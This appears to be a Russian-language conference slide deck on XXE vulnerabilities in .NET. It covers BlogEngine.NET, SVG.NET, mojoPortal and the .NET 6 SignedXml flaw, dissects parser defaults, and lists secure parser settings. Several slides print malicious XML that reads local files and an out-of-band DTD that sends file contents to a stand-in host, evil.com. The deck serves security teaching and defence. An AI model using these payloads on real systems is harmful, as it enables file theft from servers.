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WHOAMI
• Независимый эксперт

• пишу статьи (habr @SergVasiliev)
• выступаю на конференциях
• изучаю внутрянку .NET
• исследую уязвимости

• 8+ лет разрабатывал PVS-Studio
• DevRel
• Тимлид команды разработки 

PVS-Studio C#
• C#, C++ разработчик



Repetitio est mater studiorum
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XML: предопределённые сущности
<?xml version="1.0" encoding="utf-8" ?>
<root>&lt;Hello, world!&gt;</root>

<Hello, world!>
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XML: DTD
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [

<!ENTITY helloEntity "Hello">
<!ENTITY worldEntity "World">

]>
<root>&helloEntity;, &worldEntity;!</root>
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XML: внутренние сущности
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [

<!ENTITY helloEntity "Hello">
<!ENTITY worldEntity "World">

]>
<root>&helloEntity;, &worldEntity;!</root>
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XML: внешние сущности
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [

<!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>
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XML: внешние сущности
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [

<!ENTITY extEntity SYSTEM "https://owasp.org/xxe">
]>
<example>&extEntity;</example>
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XXE (XML eXternal Entities)
• CWE-611: 

Improper Restriction of XML External Entity Reference

• OWASP Top 10:
• 2017: A4:2017 – XML External Entities (XXE)
• 2021: A05:2021 – Security Misconfiguration

• OWASP ASVS 4.0.3: 5.5.2



XXE

Вредоносный XMLНебезопасный парсер
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BlogEngine.NET
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BlogEngine.NET

XML 
parser

....
<!ENTITY externalEntity SYSTEM "file:/path/to/file" >
....
<xxe>&externalEntity;</xxe>
....
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BlogEngine.NET
private static string
ParseRequest(HttpContext context) {

var buffer = new byte[context.Request
.InputStream
.Length];

context.Request.InputStream.Position = 0;

context.Request
.InputStream
.Read(buffer, 

0, 
buffer.Length);

return Encoding.UTF8
.GetString(buffer);

}

public XMLRPCRequest(HttpContext input) {
var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml) {
var request = new XmlDocument();
try {

if ( !(xml.StartsWith("<?xml") 
|| xml.StartsWith("<method"))) {

xml = xml.Substring(xml.IndexOf("<?xml"));
}
request.LoadXml(xml);

}
....

}
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BlogEngine.NET: XMLRPCRequest
public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}
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BlogEngine.NET: ParseRequest
private static string
ParseRequest(HttpContext context)
{

var buffer = new byte[context.Request
.InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(buffer, 0, buffer.Length);

return Encoding.UTF8.GetString(buffer);
}
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BlogEngine.NET: XMLRPCRequest
public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}
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BlogEngine.NET: LoadXmlRequest
private void LoadXmlRequest(string xml)
{

var request = new XmlDocument();
try
{

if ( !(xml.StartsWith("<?xml") 
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

}
....

}
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BlogEngine.NET: ключевые моменты
• Уязвимость: дефолтный парсер XmlDocument
• Фикс: запрет обработки внешних сущностей

(XmlResolver = null)
• Результат парсинга отдавался обратно



sergvasiliev.ru

SVG.NET
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SVG.NET
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SVG.NET
void ProcessSvg()
{

using var svgStream = GetSvgFromUser();    
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

// SVG document processing...

SendSvgToUser(svgDoc);
} 
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SVG.NET
void ProcessSvg()
{

using var svgStream = GetSvgFromUser();    
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

// SVG document processing...

SendSvgToUser(svgDoc);
} 
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SVG.NET
public static T Open<T>(Stream stream, Dictionary<string, string> entities) 

where T : SvgDocument, new() {
....
var reader = new SvgTextReader(stream, entities)
{

XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore

: DtdProcessing.Parse,
};
return Open<T>(reader);

}
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SVG.NET
public static T Open<T>(Stream stream, Dictionary<string, string> entities) 

where T : SvgDocument, new() {
....
var reader = new SvgTextReader(stream, entities)
{

XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore

: DtdProcessing.Parse,
};
return Open<T>(reader);

}



sergvasiliev.ru

SVG.NET
public static T Open<T>(Stream stream, Dictionary<string, string> entities) 

where T : SvgDocument, new() {
....
var reader = new SvgTextReader(stream, entities)
{

XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore

: DtdProcessing.Parse,
};
return Open<T>(reader);

}
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SVG.NET
internal class SvgDtdResolver : XmlUrlResolver {

/// ....
public override object GetEntity(Uri absoluteUri, 

string role, 
Type ofObjectToReturn)

{
if (....) {

return Assembly.GetExecutingAssembly()
.GetManifestResourceStream("Svg.Resources.svg11.dtd");

}
else {

return base.GetEntity(absoluteUri, role, ofObjectToReturn);
}

}
}
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SVG.NET

SVG 
parser

<!ENTITY hostsEntity SYSTEM "file:/path/to/file">
....
<mask>&hostsEntity;</mask>
....
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SVG.NET: ключевые моменты
• Уязвимость: 

XML-парсер с явными опасными настройками
• Фикс: 
отключение обработки внешних сущностей по умолчанию
• Результат парсинга отдавался обратно
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Защита
• Используйте новые версии фреймворков
• Конфигурируйте парсеры правильно:
• отключайте обработку DTD
• ограничивайте размер сущностей
• отключайте резолвинг внешних сущностей

• Используйте инструменты: SAST, SCA и т. п.
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Безопасность дефолтных парсеров

Экземпляры типов <= .NET Framework 4.5.1 >= .NET Framework 4.5.2
(в т. ч. .NET Core и .NET)

XmlReader
(/XmlReaderSettings) Not Vulnerable Not Vulnerable

XmlTextReader Vulnerable Not Vulnerable

XmlDocument Vulnerable Not Vulnerable



XXE в mojoPortal
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mojoPortal: btnImportStyles_Click
void btnImportStyles_Click(object sender, EventArgs e) 
{

if (uploader.HasFile)
{

if (uploader.FileName.EndsWith(".xml"))
{

SkinHelper.ImportStyles(uploader.FileContent, siteSettings.SiteGuid);
}

}
WebUtils.SetupRedirect(this, Request.RawUrl);

}
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mojoPortal: ImportStyles
public static void ImportStyles(Stream stylesXmlStream, Guid siteGuid) 
{

try
{

XmlDocument stylesXmlDoc = new XmlDocument();
using (stylesXmlStream)
{

stylesXmlDoc.Load(stylesXmlStream);
}

....
}
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Безопасность дефолтных парсеров

Экземпляры типов <= .NET Framework 4.5.1 >= .NET Framework 4.5.2
(в т. ч. .NET Core и .NET)

XmlReader
(/XmlReaderSettings) Not Vulnerable Not Vulnerable

XmlTextReader Vulnerable Not Vulnerable

XmlDocument Vulnerable Not Vulnerable
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Безопасность дефолтных парсеров

Экземпляры типов <= .NET Framework 4.5.1 >= .NET Framework 4.5.2
(в т. ч. .NET Core и .NET)

XmlReader
(/XmlReaderSettings) Not Vulnerable Not Vulnerable

XmlTextReader Vulnerable Not Vulnerable

XmlDocument Vulnerable Not Vulnerable
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XXE в mojoPortal
• CVE-2023-24323
• Mojoportal v2.7 was discovered to contain 

an authenticated XML external entity (XXE) injection vulnerability.

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-24323

https://nvd.nist.gov/vuln/detail/CVE-2023-24323
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OWASP: XML External Entity Prevention
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Почему парсер 
разбирает внешние сущности?
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XXE в mojoPortal

XML 
parser

?

Я типа 
хакер
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Как атаковать, если 
результат парсинга не возвращается?



Эксплуатация дефектов
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XML 
parser
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void ProcessExternalXml(Stream xmlStream)
{

var xmlDoc = new XmlDocument()
{

XmlResolver = new XmlUrlResolver()
};

xmlDoc.Load(xmlStream);
// Processing without output

}
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XML: внешние сущности
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [

<!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>
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XML: внешние сущности
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [

<!ENTITY extEntity SYSTEM "https://owasp.org/xxe">
]>
<example>&extEntity;</example>
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [

<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://evil.com/externalDTD" >
%extDTD;
%param;
%query;

]>
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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/externalDTD
<!ENTITY % file SYSTEM "file:///path/to/file">
<!ENTITY % param 

"<!ENTITY &#x25; query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>">
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [

<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://evil.com/externalDTD" >
%extDTD;
%param;
%query;

]>
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [

<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://evil.com/externalDTD" >
<!ENTITY % file SYSTEM "file:///path/to/file">
<!ENTITY % param 

"<!ENTITY &#x25; query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>">

%param;
%query;

]>
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [

<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://evil.com/externalDTD" >
<!ENTITY % file SYSTEM "file:///path/to/file">
<!ENTITY % param 

"<!ENTITY &#x25; query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>">

<!ENTITY % query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>

%query;
]>
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [

<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://evil.com/externalDTD" >
<!ENTITY % file SYSTEM "file:///path/to/file">
<!ENTITY % param 

"<!ENTITY &#x25; query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>">

<!ENTITY % query SYSTEM 
'https://evil.com/xxe_endpoint?data=%file;'>

%query;
]>
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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/xxe_endpoint
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/xxe_endpoint
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void ProcessExternalXml(Stream xmlStream)
{

var xmlDoc = new XmlDocument()
{

XmlResolver = new XmlUrlResolver()
};

xmlDoc.Load(xmlStream);
// Processing without output

}
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XML parser
evil.com

/xxe_endpoint

/externalDTD
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Параметризованные сущности: выводы
• Можно атаковать систему, 
даже если результат парсинга не возвращается
• Однако
• нужно знать путь до файла
• ”палки в колёса” из-за содержимого файлов
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XXE в mojoPortal

XML 
parser

?

Я типа 
хакер
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XXE в mojoPortal

XML 
parser

✔

Я типа 
хакер
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mojoPortal
public static void ImportStyles(Stream stylesXmlStream, Guid siteGuid) 
{

try
{

XmlDocument stylesXmlDoc = new XmlDocument();
using (stylesXmlStream)
{

stylesXmlDoc.Load(stylesXmlStream);
}

....
}
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OWASP: XML External Entity Prevention



XML-парсеры
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Дефолтные парсеры

XmlDocument doc = new XmlDocument();
doc.Load(xmlReader);
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XmlDocument.Load
public virtual void Load(Stream inStream) 
{ 

XmlTextReader reader
= SetupReader(new XmlTextReader(inStream, NameTable)); 

try
{ 

Load(reader); 
} 
finally
{ 

reader.Impl.Close(false); 
}

}
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XmlDocument.Load
public virtual void Load(Stream inStream) 
{ 

XmlTextReader reader
= SetupReader(new XmlTextReader(inStream, NameTable)); 

try
{ 

Load(reader); 
} 
finally
{ 

reader.Impl.Close(false); 
}

}
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XmlTextReader.ctor
public XmlTextReader(Stream input, XmlNameTable nt) 
{ 

impl = new XmlTextReaderImpl(input, nt); 
impl.OuterReader = this; 

}
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XmlTextReaderImpl.ctor
internal XmlTextReaderImpl(Stream input, XmlNameTable nt) 

: this( string.Empty, input, nt ) 
{ }
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XmlTextReaderImpl.ctor
internal XmlTextReaderImpl(string url, Stream input, XmlNameTable nt) 

: this(nt) 
{ 

....
}
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XmlTextReaderImpl.ctor
internal XmlTextReaderImpl(XmlNameTable nt)
{ 

....
if (!System.Xml.XmlReaderSettings.EnableLegacyXmlSettings()) { 

xmlResolver = null; 
} else { 

xmlResolver = new XmlUrlResolver(); 
} 
....

}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() { 
if (s_enableLegacyXmlSettings.HasValue) { 

return s_enableLegacyXmlSettings.Value; 
} 

if (!System.Xml.BinaryCompatibility.TargetsAtLeast_Desktop_V4_5_2) { 
s_enableLegacyXmlSettings = true; 
return s_enableLegacyXmlSettings.Value; 

} 

bool enableSettings = false; // default value
if (!ReadSettingsFromRegistry(Registry.LocalMachine, ref enableSettings)) { 

ReadSettingsFromRegistry(Registry.CurrentUser, ref enableSettings); 
} 

s_enableLegacyXmlSettings = enableSettings; 
return s_enableLegacyXmlSettings.Value; 

}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() 
{ 

if (s_enableLegacyXmlSettings.HasValue) 
{ 

return s_enableLegacyXmlSettings.Value; 
} 

....
}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() 
{ 

....
if (!System.Xml.BinaryCompatibility.TargetsAtLeast_Desktop_V4_5_2) 
{ 

s_enableLegacyXmlSettings = true; 
return s_enableLegacyXmlSettings.Value; 

} 
....

}
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BinaryCompatibility
internal static class BinaryCompatibility
{ 

internal static bool TargetsAtLeast_Desktop_V4_5_2
{ get { return _targetsAtLeast_Desktop_V4_5_2; } } 

private static bool _targetsAtLeast_Desktop_V4_5_2
= RunningOnCheck("TargetsAtLeast_Desktop_V4_5_2"); 

[SecuritySafeCritical] 
[ReflectionPermission(SecurityAction.Assert, Unrestricted = true)] 
private static bool RunningOnCheck(string propertyName) 
{ .... } 

}
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BinaryCompatibility.RunningOnCheck
private static bool RunningOnCheck(string propertyName) 
{ 

Type binaryCompatabilityType
= typeof(Object).GetTypeInfo()

.Assembly

.GetType("System.Runtime.Versioning.BinaryCompatibility", 
false); 

....
PropertyInfo property

= binaryCompatabilityType.GetProperty(propertyName, ....); 
if (property == null) 

return false; 
return (bool)property.GetValue(null); 

}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() { 
if (s_enableLegacyXmlSettings.HasValue) { 

return s_enableLegacyXmlSettings.Value; 
} 

if (!System.Xml.BinaryCompatibility.TargetsAtLeast_Desktop_V4_5_2) { 
s_enableLegacyXmlSettings = true; 
return s_enableLegacyXmlSettings.Value; 

} 

bool enableSettings = false; // default value
if (!ReadSettingsFromRegistry(Registry.LocalMachine, ref enableSettings)) { 

ReadSettingsFromRegistry(Registry.CurrentUser, ref enableSettings); 
} 

s_enableLegacyXmlSettings = enableSettings; 
return s_enableLegacyXmlSettings.Value; 

}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() { 
....
bool enableSettings = false; // default value
if (!ReadSettingsFromRegistry(Registry.LocalMachine, ref enableSettings)) { 

ReadSettingsFromRegistry(Registry.CurrentUser, ref enableSettings); 
} 

s_enableLegacyXmlSettings = enableSettings; 
return s_enableLegacyXmlSettings.Value; 

}
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XmlReaderSettings.ReadSettingsFromRegistry
bool ReadSettingsFromRegistry(RegistryKey hive, ref bool value) { 

const string regValueName = "EnableLegacyXmlSettings"; 
const string regValuePath = @"SOFTWARE\Microsoft\.NETFramework\XML"; 
....
using (RegistryKey xmlRegKey = hive.OpenSubKey(regValuePath, false)) 

if (xmlRegKey != null)
if (xmlRegKey.GetValueKind(regValueName) == RegistryValueKind.DWord) { 
value = ((int)xmlRegKey.GetValue(regValueName)) == 1; 
return true; 

} 
....
return false; 

}
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XmlDocument.ctor: .NET Framework
internal XmlTextReaderImpl(XmlNameTable nt)
{ 

....
if (!System.Xml.XmlReaderSettings.EnableLegacyXmlSettings()) { 

xmlResolver = null; 
} else { 

xmlResolver = new XmlUrlResolver(); 
} 
....

}



sergvasiliev.ru

XmlDocument.ctor: .NET
internal XmlTextReaderImpl(XmlNameTable nt)
{

....
_xmlResolver = null;
....

}
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XML-парсеры: выводы
• Дефолтные XML-парсеры в .NET Framework

”неожиданно” могут стать опасными
• На поведение влияют:
• настройки реестра
• версия .NET Framework
• и т. п. (см. тип BinaryCompatibility)

https://referencesource.microsoft.com/


XXE в mojoPortal
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Безопасность дефолтных парсеров

Экземпляры типов <= .NET Framework 4.5.1 >= .NET Framework 4.5.2
(в т. ч. .NET Core и .NET)

XmlReader
(/XmlReaderSettings) Not Vulnerable Not Vulnerable

XmlTextReader Vulnerable Not Vulnerable

XmlDocument Vulnerable Not Vulnerable
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OWASP: XML External Entity Prevention
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() { 
if (s_enableLegacyXmlSettings.HasValue) { 

return s_enableLegacyXmlSettings.Value; 
} 

if (!System.Xml.BinaryCompatibility.TargetsAtLeast_Desktop_V4_5_2) { 
s_enableLegacyXmlSettings = true; 
return s_enableLegacyXmlSettings.Value; 

} 

bool enableSettings = false; // default value
if (!ReadSettingsFromRegistry(Registry.LocalMachine, ref enableSettings)) { 

ReadSettingsFromRegistry(Registry.CurrentUser, ref enableSettings); 
} 

s_enableLegacyXmlSettings = enableSettings; 
return s_enableLegacyXmlSettings.Value; 

}
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XmlReaderSettings.EnableLegacyXmlSettings
private static bool? s_enableLegacyXmlSettings = null; 

static internal bool EnableLegacyXmlSettings() 
{ 

....
if (!System.Xml.BinaryCompatibility.TargetsAtLeast_Desktop_V4_5_2) 
{ 

s_enableLegacyXmlSettings = true; 
return s_enableLegacyXmlSettings.Value; 

} 
....

}
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mojoPortal
....
<httpRuntime targetFramework="4.5"

requestValidationMode="2.0"
maxRequestLength="30720"
maxUrlLength="560"
maxQueryStringLength="2048" />

....
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mojoPortal
....
<httpRuntime targetFramework="4.5"

requestValidationMode="2.0" 
maxRequestLength="30720" 
maxUrlLength="560" 
maxQueryStringLength="2048" />

....
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XXE в mojoPortal: выводы
• ”Безопасный” XML-парсер оказался опасным

-> поаккуратнее в .NET Framework
• Для уязвимости результат парсинга
не обязательно должен отдаваться пользователю



XXE в .NET 6 SDK
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XXE в .NET 6 SDK
• CVE-ID: CVE-2022-34716
• .NET Spoofing Vulnerability

• NVD: https://nvd.nist.gov/vuln/detail/cve-2022-34716

https://nvd.nist.gov/vuln/detail/cve-2022-34716
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XXE в .NET 6 SDK

• packetstormsecurity.com: 
https://packetstormsecurity.com/files/168332/.NET-XML-Signature-
Verification-External-Entity-Injection.html

https://packetstormsecurity.com/files/168332/.NET-XML-Signature-Verification-External-Entity-Injection.html
https://packetstormsecurity.com/files/168332/.NET-XML-Signature-Verification-External-Entity-Injection.html
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XML 
parser
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Вредоносный XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [

<!ENTITY queryEntity SYSTEM "https://evil.com/net6">
]>
<xxeExample>&queryEntity;</xxeExample>
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SignedXml API
void ProcessSignedXml(String xmlPath) {

XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(xmlPath);

var signedXml = new SignedXml(xmlDoc);
signedXml.SigningKey = RSA.Create();

Reference reference = new Reference();
reference.Uri = String.Empty;

XmlDsigEnvelopedSignatureTransform env = new XmlDsigEnvelopedSignatureTransform();
reference.AddTransform(env);

signedXml.AddReference(reference);

signedXml.ComputeSignature();
....

}
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SignedXml API
void ProcessSignedXml(String xmlPath) {

XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(xmlPath);

var signedXml = new SignedXml(xmlDoc);
signedXml.SigningKey = RSA.Create();

Reference reference = new Reference();
reference.Uri = String.Empty;

XmlDsigEnvelopedSignatureTransform env = new XmlDsigEnvelopedSignatureTransform();
reference.AddTransform(env);

signedXml.AddReference(reference);

signedXml.ComputeSignature();
....

}
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XML 
parser

SignedXml API
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SignedXml: последовательность вызовов
ProcessSignedXml()
  -> SignedXml.ComputeSignature()
    -> SignedXml.BuildDigestedReferences()
      -> Reference.UpdateHashValue()
        -> Reference.CalculateHashValue()
          -> Utils.PreProcessDocumentInput()
            -> XmlDocument.Load()
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SignedXml: последовательность вызовов
ProcessSignedXml()
  -> SignedXml.ComputeSignature()
    -> SignedXml.BuildDigestedReferences()
      -> Reference.UpdateHashValue()
        -> Reference.CalculateHashValue()
          -> Utils.PreProcessDocumentInput()
            -> XmlDocument.Load()
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Reference.CalculateHashValue
internal byte[] CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {
  ....
else if (_uri.Length == 0) {
....
resolver 
= (SignedXml.ResolverSet ? SignedXml._xmlResolver

: new XmlSecureResolver(new XmlUrlResolver(), baseUri));

XmlDocument docWithNoComments
= Utils.DiscardComments(

Utils.PreProcessDocumentInput(document, resolver, baseUri));
....

}
....

}
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Reference.CalculateHashValue
internal byte[] CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {
  ....
else if (_uri.Length == 0) {
....
resolver 
= (SignedXml.ResolverSet ? SignedXml._xmlResolver

: new XmlSecureResolver(new XmlUrlResolver(), baseUri));

XmlDocument docWithNoComments
= Utils.DiscardComments(

Utils.PreProcessDocumentInput(document, resolver, baseUri));
....

}
....

}
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System.Xml.XmlSecureResolver
public partial class XmlSecureResolver : XmlResolver
{
....
public XmlSecureResolver(XmlResolver resolver, string? securityUrl) {
_resolver = resolver;

}

public override object? GetEntity(....) {
return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);

}

public override Uri ResolveUri(....) {
return _resolver.ResolveUri(baseUri, relativeUri);

}
}
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System.Xml.XmlSecureResolver
namespace System.Xml
{
using System.Net;
using System.Security;
using System.Runtime.Versioning;

public partial class XmlSecureResolver : XmlResolver
{ .... }

}
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Reference.CalculateHashValue
internal byte[] CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {
  ....
else if (_uri.Length == 0) {
....
resolver 
= (SignedXml.ResolverSet ? SignedXml._xmlResolver

: new XmlSecureResolver(new XmlUrlResolver(), baseUri));

XmlDocument docWithNoComments
= Utils.DiscardComments(

Utils.PreProcessDocumentInput(document, resolver, baseUri));
....

}
....

}
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Reference.CalculateHashValue
internal byte[] CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {
  ....
else if (_uri.Length == 0) {
....
resolver 
= (SignedXml.ResolverSet ? SignedXml._xmlResolver

: new XmlSecureResolver(new XmlUrlResolver(), baseUri));

XmlDocument docWithNoComments
= Utils.DiscardComments(

Utils.PreProcessDocumentInput(document, resolver, baseUri));
....

}
....

}
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Utils.PreProcessDocumentInput
internal static XmlDocument PreProcessDocumentInput(....) {
....
MyXmlDocument doc = new MyXmlDocument();
....
using (TextReader stringReader = new StringReader(document.OuterXml)) {
XmlReaderSettings settings = new XmlReaderSettings();
settings.XmlResolver = xmlResolver;
settings.DtdProcessing = DtdProcessing.Parse;
settings.MaxCharactersFromEntities = MaxCharactersFromEntities;
settings.MaxCharactersInDocument = MaxCharactersInDocument;
XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);
doc.Load(reader);

}
return doc;

}
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XXE в .NET 6 SDK
• Пакет: System.Security.Cryptography.Xml
• Уязвимая версия: 6.0.0
• Явная конфигурация опасного парсера
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XXE в .NET 6 SDK: фикс
• Пакет: System.Security.Cryptography.Xml
• Уязвимая версия: 6.0.0
• Исправленная версия: 6.0.1

• Ссылка на коммит: 
https://github.com/dotnet/runtime/commit/02f4445e9d180f85434aa15
bb3323797c3e2aa87

https://github.com/dotnet/runtime/commit/02f4445e9d180f85434aa15bb3323797c3e2aa87
https://github.com/dotnet/runtime/commit/02f4445e9d180f85434aa15bb3323797c3e2aa87
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System.Xml.XmlException: An error has occurred while opening external entity 'https://evil.com/net6': Security error.
---> System.Security.SecurityException: Security error.
at System.Security.Cryptography.Xml.XmlSecureResolver.GetEntity(Uri absoluteUri, String role, Type ofObjectToReturn)
at System.Xml.XmlTextReaderImpl.OpenAndPush(Uri uri)
at System.Xml.XmlTextReaderImpl.PushExternalEntityOrSubset(String publicId, String systemId, Uri baseUri, String entityName)
--- End of inner exception stack trace ---
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
at System.Xml.XmlTextReaderImpl.PushExternalEntityOrSubset(String publicId, String systemId, Uri baseUri, String entityName)
at System.Xml.XmlTextReaderImpl.PushExternalEntity(IDtdEntityInfo entity)
at System.Xml.XmlTextReaderImpl.HandleGeneralEntityReference(String name, Boolean isInAttributeValue, Boolean pushFakeEntityIfNullResolver, 

Int32 entityStartLinePos)
at System.Xml.XmlTextReaderImpl.HandleEntityReference(Boolean isInAttributeValue, EntityExpandType expandType, Int32& charRefEndPos)
at System.Xml.XmlTextReaderImpl.ParseText(Int32& startPos, Int32& endPos, Int32& outOrChars)
at System.Xml.XmlTextReaderImpl.ParseText()
at System.Xml.XmlTextReaderImpl.ParseElementContent()
at System.Xml.XmlTextReaderImpl.Read()
at System.Xml.XmlLoader.LoadNode(Boolean skipOverWhitespace)
at System.Xml.XmlLoader.LoadDocSequence(XmlDocument parentDoc)
at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace)
at System.Xml.XmlDocument.Load(XmlReader reader)
at System.Security.Cryptography.Xml.Utils.PreProcessDocumentInput(XmlDocument document, XmlResolver xmlResolver, String baseUri)
at System.Security.Cryptography.Xml.Reference.CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
at System.Security.Cryptography.Xml.Reference.UpdateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
at System.Security.Cryptography.Xml.SignedXml.BuildDigestedReferences()
at System.Security.Cryptography.Xml.SignedXml.ComputeSignature()
at XXE_Tests.EntryPoint.ProcessSignedXml(String xmlPath)

SignedXml API: после фикса
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System.Xml.XmlException: 
An error has occurred while opening external entity 
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SignedXml API: после фикса
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System.Xml.XmlException: 
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at System.Xml.XmlDocument.Load()
at System.Security.Cryptography.Xml.Utils.PreProcessDocumentInput()
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SignedXml API: после фикса
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XmlResolver до фикса
public partial class XmlSecureResolver : XmlResolver
{
....
public XmlSecureResolver(XmlResolver resolver, string? securityUrl) {
_resolver = resolver;

}

public override object? GetEntity(....) {
return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);

}

public override Uri ResolveUri(....) {
return _resolver.ResolveUri(baseUri, relativeUri);

}
}
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XmlResolver после фикса
namespace System.Security.Cryptography.Xml
{
// This type masks out System.Xml.XmlSecureResolver by being in the local namespace.
internal sealed class XmlSecureResolver : XmlResolver
{
internal XmlSecureResolver(XmlResolver resolver, string securityUrl)
{}

// Simulate .NET Framework's CAS behavior by throwing SecurityException.
// Unlike .NET Framework's implementation, 

the securityUrl ctor parameter has no effect.
public override object GetEntity(....) =>

throw new SecurityException();
}

}
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XmlResolver после фикса
namespace System.Security.Cryptography.Xml
{
// This type masks out System.Xml.XmlSecureResolver by being in the local namespace.
internal sealed class XmlSecureResolver : XmlResolver
{
internal XmlSecureResolver(XmlResolver resolver, string securityUrl)
{}

// Simulate .NET Framework's CAS behavior by throwing SecurityException.
// Unlike .NET Framework's implementation, 

the securityUrl ctor parameter has no effect.
public override object GetEntity(....) =>

throw new SecurityException();
}

}



sergvasiliev.ru

XmlResolver до фикса
namespace System.Xml
{
using System.Net;
using System.Security;
using System.Runtime.Versioning;

public partial class XmlSecureResolver : XmlResolver
{ .... }

}
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System.Xml
XmlSecureResolver

using System.Xml;

namespace System.Security
.Cryptography
.Xml

{
....
new XmlSecureResolver(
new XmlUrlResolver(), 
baseUri

)
....

}
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System.Security.Cryptography.Xml
XmlSecureResolver

System.Xml
XmlSecureResolver

using System.Xml;

namespace System.Security
.Cryptography
.Xml

{
....
new XmlSecureResolver(
new XmlUrlResolver(), 
baseUri

)
....

}
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XXE в .NET 6 SDK: выводы
• Современный .NET не спасёт, 
если XML-парсер сконфигурирован опасно
• Поаккуратнее с парсерами в компонентах



Защита от XXE
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Безопасные настройки парсеров
• Явно запрещайте обработку DTD
DtdProcessing = DtdProcessing.Prohibit
• Запрещайте обработку внешних сущностей 
XmlResolver = null
• Ограничивайте размеры внешних сущностей
MaxCharactersFromEntities = 1000
• Отключайте обработку внешних сущностей по умолчанию
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Безопасные настройки: XmlReader
var settings = new XmlReaderSettings()
{

DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null,
MaxCharactersFromEntities = 1000

};

using (var xmlReader = XmlReader.Create(xmlFileStringReader,  
settings))

{ .... }
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Безопасные настройки: XmlTextReader
using (var xmlTextReader

= new XmlTextReader(xmlFileStringReader))
{

xmlTextReader.XmlResolver = null;
xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
....

}
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Безопасные настройки: XmlDocument
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null;
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Static Application Security Tesing (SAST)
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SAST: taint-анализ на BlogEngine.NET
private static string
ParseRequest(HttpContext context) {

var buffer = new byte[context.Request
.InputStream
.Length];

context.Request.InputStream.Position = 0;

context.Request
.InputStream
.Read(buffer, 

0, 
buffer.Length);

return Encoding.UTF8
.GetString(buffer);

}

public XMLRPCRequest(HttpContext input) {
var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
